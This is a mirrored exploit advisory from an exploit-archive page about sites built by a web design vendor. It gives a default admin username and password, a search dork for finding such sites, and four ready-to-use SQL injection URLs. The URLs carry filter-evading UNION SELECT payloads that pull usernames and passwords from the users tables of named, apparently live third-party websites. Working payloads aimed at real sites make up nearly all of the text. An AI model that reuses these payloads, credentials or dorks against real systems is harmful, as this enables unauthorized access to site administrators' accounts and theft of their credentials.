Advertisement


Looking for a fix? Check your Codebase security with multiple scanners from Scanmycode.today


Edit Report

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020060121

Below is a copy:

Dynamic Experts Solution Design Default Admin Password
######################
 Exploit Title : Dynamic Experts Solution Design Default Admin Password
 Exploit Author : Behrouz Mansoori
Vendor Homepage : https://dynamicxperts.com
Google Dork  : "Designed & Developed By : Dynamic Experts Solution"
Date: 2020-06-29
Tested On : Win 10 / Mozilla Firefox
######################
#
# username : admin
# password : Admin123
#
######################

# demo 1 :
username:
 https://hafeezasports.com/pages.php?id=-4%20/*!12345uNion*/%20/*!12345selEct*/%201,2,3,4,5,6,7,8,9,username,11,12,13,14%20/*!12345from*/%20%20users--

password:
https://hafeezasports.com/pages.php?id=-4%20/*!12345uNion*/%20/*!12345selEct*/%201,2,3,4,5,6,7,8,9,password,11,12,13,14%20/*!12345from*/%20%20users--

# demo 2 :
username & password:
https://www.zeetexpro.com.pk/contact.php?id=-5%20/*!50000UNION*/%20/*!50000SELECT*/%201111,2222,3333,4444,/*!50000group_concat(username,0x3a,password,0x3c62723e)*/,6,7,8,9,10,11,12,13,14/*!50000from*/%20users--#

# demo 3 :
username & password:
https://argos.com.pk/product_detail.php?proid=-877%27%20/*!12345UNION*/%20/*!12345SELECT*/%201,2,3,4,5,6,group_concat(username,0x3a,password),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34%20/*!12345from*/%20users--+

# demo 4 :
username :
https://www.roshansports.pk/pages.php?id=-2%20/*!12345unioN*/%20/*!12345sElect*/%201,2,3,4,5,6,7,8,9,username,11,12,13,14%20/*!12345froM*/%20users--

password:
https://www.roshansports.pk/pages.php?id=-2%20/*!12345unioN*/%20/*!12345sElect*/%201,2,3,4,5,6,7,8,9,password,11,12,13,14%20/*!12345froM*/%20users--

######################
# discovered by : behrouz mansoori
######################

Copyright ©2020 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.